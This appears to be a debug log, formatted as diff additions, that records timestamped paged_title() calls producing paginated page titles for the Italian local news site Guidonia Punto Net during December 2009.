+2009-12-02 17:12:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-02 18:53:36 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2009-12-02 20:37:30 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2009-12-02 21:51:56 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-02 22:47:21 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 18]
+2009-12-03 00:07:48 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-03 00:08:41 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-03 00:13:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-03 00:15:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-03 00:16:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-03 00:37:48 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 19]
+2009-12-03 02:00:07 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-03 23:08:55 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-04 01:46:28 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-04 02:27:04 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-04 06:25:23 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-04 21:03:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-04 23:22:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-05 03:05:34 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-05 05:51:05 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-05 06:19:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-05 08:27:15 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-05 10:41:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-05 12:30:24 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-05 12:41:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-12-05 14:44:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-12-05 16:56:31 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-05 17:19:26 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-12-05 17:32:50 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-12-05 19:57:21 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-12-05 22:48:59 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-12-06 00:55:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-12-06 01:03:54 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-06 01:13:28 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-06 01:14:48 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-06 01:56:24 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-06 02:40:12 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2009-12-06 03:19:11 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-06 03:22:18 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-06 03:43:08 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-06 03:59:17 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-06 04:44:01 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 14]
+2009-12-06 05:26:51 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-06 06:08:34 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-06 06:09:52 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 28]
+2009-12-06 06:50:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-06 07:26:40 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 15]
+2009-12-06 08:08:11 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-06 08:13:41 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-06 08:50:47 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-06 09:35:03 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-06 10:10:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2009-12-06 10:56:53 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-06 11:00:43 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-06 11:34:56 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-06 12:08:06 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2009-12-06 12:32:07 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-12-06 13:54:59 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-06 13:57:14 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-12-06 14:18:03 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 18]
+2009-12-06 14:37:28 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-12-06 15:54:21 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-12-06 16:51:37 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-06 17:37:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 19]
+2009-12-06 18:00:14 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-12-06 18:51:53 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-12-06 20:17:27 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-06 20:30:21 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 20]
+2009-12-06 21:01:53 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-12-06 21:33:41 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-06 21:41:09 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-12-06 21:43:21 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-06 21:44:50 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-06 21:55:28 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-06 23:23:35 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 21]
+2009-12-06 23:39:35 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-06 23:40:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-06 23:46:44 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-12-07 00:32:38 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-12-07 01:48:30 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 22]
+2009-12-07 01:56:32 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-12-07 02:44:15 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-12-07 03:46:50 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 23]
+2009-12-07 05:03:05 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2009-12-07 04:49:06 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2009-12-07 06:00:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 24]
+2009-12-07 07:14:02 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 14]
+2009-12-07 06:16:31 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 14]
+2009-12-07 07:51:24 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 25]
+2009-12-07 08:06:13 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 15]
+2009-12-07 08:14:03 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 15]
+2009-12-07 10:26:08 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 26]
+2009-12-07 10:26:08 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2009-12-07 10:26:14 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2009-12-07 12:34:10 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2009-12-07 12:34:35 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2009-12-07 12:34:45 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 27]
+2009-12-07 14:12:07 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 18]
+2009-12-07 14:12:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 28]
+2009-12-07 15:22:35 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 18]
+2009-12-07 16:53:35 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 29]
+2009-12-07 16:54:23 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 19]
+2009-12-07 17:26:58 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 19]
+2009-12-07 18:15:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 30]
+2009-12-07 18:18:37 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 20]
+2009-12-07 19:36:37 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 20]
+2009-12-07 19:52:26 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 31]
+2009-12-07 21:39:23 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 21]
+2009-12-07 22:22:56 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 32]
+2009-12-08 00:23:07 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 22]
+2009-12-08 00:25:30 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 33]
+2009-12-08 01:50:43 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 23]
+2009-12-08 01:51:26 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 34]
+2009-12-08 01:56:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-08 03:00:46 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-08 03:46:49 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 35]
+2009-12-08 03:50:24 paged_title() [admin | Guidonia Montecelio | Guidonia Punto Net] [ - Part 24]
+2009-12-08 05:25:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 36]
+2009-12-08 06:58:21 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-08 07:12:16 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-08 08:19:43 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-08 08:19:58 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-08 08:28:29 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 37]
+2009-12-08 08:30:13 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-08 08:32:15 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-08 08:40:45 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-08 08:40:47 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-08 11:06:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 38]
+2009-12-08 12:16:38 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 22]
+2009-12-08 13:33:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 39]
+2009-12-08 14:08:57 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 40]
+2009-12-08 15:16:42 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 40]
+2009-12-08 17:50:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 41]
+2009-12-08 18:56:29 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 42]
+2009-12-08 21:20:35 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 43]
+2009-12-08 23:49:29 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 44]
+2009-12-09 02:17:47 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 45]
+2009-12-09 05:22:14 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 46]
+2009-12-09 07:36:23 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 47]
+2009-12-09 09:42:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 48]
+2009-12-09 10:59:59 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 49]
+2009-12-09 13:03:24 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 50]
+2009-12-09 15:05:03 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 51]
+2009-12-09 17:12:08 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 52]
+2009-12-09 18:46:29 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 28]
+2009-12-09 19:02:53 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 53]
+2009-12-09 21:23:16 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 54]
+2009-12-09 23:53:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 55]
+2009-12-10 01:51:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 56]
+2009-12-10 04:21:28 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 57]
+2009-12-10 04:46:48 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-10 05:17:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-10 05:58:05 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 58]
+2009-12-10 08:37:27 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-10 08:50:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 59]
+2009-12-10 09:00:03 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-10 09:00:15 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-10 09:00:26 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-10 09:00:41 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-10 09:00:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-10 09:00:50 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-10 09:00:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-10 09:01:04 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-12-10 09:01:07 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-12-10 09:09:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-12-10 09:09:14 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-12-10 10:55:33 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-10 11:05:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 60]
+2009-12-10 11:46:56 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-10 13:03:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-10 13:08:07 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-10 13:16:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-10 13:20:50 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 61]
+2009-12-10 14:45:39 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-10 14:20:45 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-10 15:26:54 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-10 15:32:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 62]
+2009-12-10 15:42:48 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-10 15:44:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-10 15:59:55 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-10 17:10:59 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 63]
+2009-12-10 17:33:18 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-10 18:18:31 paged_title() [News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-10 18:53:56 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 64]
+2009-12-10 19:32:51 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-10 20:03:15 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-10 21:20:15 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 65]
+2009-12-10 22:20:21 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 22]
+2009-12-10 23:50:47 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 66]
+2009-12-11 01:24:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 67]
+2009-12-11 03:31:01 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 68]
+2009-12-11 08:02:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 69]
+2009-12-11 10:14:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 70]
+2009-12-11 12:29:31 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 71]
+2009-12-11 14:47:45 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 72]
+2009-12-11 15:29:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-11 16:36:01 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-11 15:44:27 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-11 15:47:23 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-11 15:49:41 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-11 17:35:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 73]
+2009-12-11 19:12:48 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 74]
+2009-12-11 21:18:13 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 75]
+2009-12-11 23:30:46 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 76]
+2009-12-12 01:50:23 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 77]
+2009-12-12 02:04:19 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-12 03:55:43 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 78]
+2009-12-12 04:17:50 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-12 05:57:30 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 79]
+2009-12-12 06:41:14 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-12 07:25:13 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 80]
+2009-12-12 08:50:47 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-12-12 08:52:16 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 81]
+2009-12-12 11:05:06 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 82]
+2009-12-12 11:10:05 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-12-12 11:13:12 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 28]
+2009-12-12 13:11:40 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 83]
+2009-12-12 13:24:19 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-12-12 14:07:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-12 15:12:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 84]
+2009-12-12 15:27:08 paged_title() [Guidonia Blog | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-12 16:09:41 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-12-12 16:55:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 85]
+2009-12-12 18:16:19 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-12-12 18:52:54 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-12 18:58:07 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 86]
+2009-12-12 19:28:51 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-12 19:40:22 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-12 19:51:47 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-12 20:02:42 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-12 20:04:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-12 20:07:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-12 20:48:03 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 87]
+2009-12-12 20:58:43 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-12-12 22:44:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 88]
+2009-12-12 23:33:02 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-12-13 00:30:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 89]
+2009-12-13 01:02:31 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-12-13 02:09:10 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 90]
+2009-12-13 03:13:50 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 91]
+2009-12-13 04:22:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 92]
+2009-12-13 05:34:29 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 93]
+2009-12-13 07:15:06 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 94]
+2009-12-13 08:52:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 95]
+2009-12-13 10:23:53 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 96]
+2009-12-13 11:36:27 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 97]
+2009-12-13 13:22:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 98]
+2009-12-13 14:32:26 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 99]
+2009-12-13 15:35:47 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 100]
+2009-12-13 16:40:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 101]
+2009-12-13 17:49:58 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 102]
+2009-12-13 19:23:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 103]
+2009-12-13 20:55:49 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 104]
+2009-12-13 22:07:10 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 105]
+2009-12-13 23:46:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 106]
+2009-12-14 01:17:10 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-14 01:33:20 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 107]
+2009-12-14 02:05:23 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-14 02:40:08 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 108]
+2009-12-14 03:19:40 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-14 04:46:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 109]
+2009-12-14 06:29:51 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 110]
+2009-12-14 08:38:44 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 111]
+2009-12-14 09:08:50 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-14 09:11:28 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-12-14 09:23:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-14 09:28:16 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-12-14 10:59:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 112]
+2009-12-14 11:06:24 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-14 12:43:51 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 113]
+2009-12-14 18:51:14 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-12-14 18:59:04 paged_title() [News su Guidonia | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
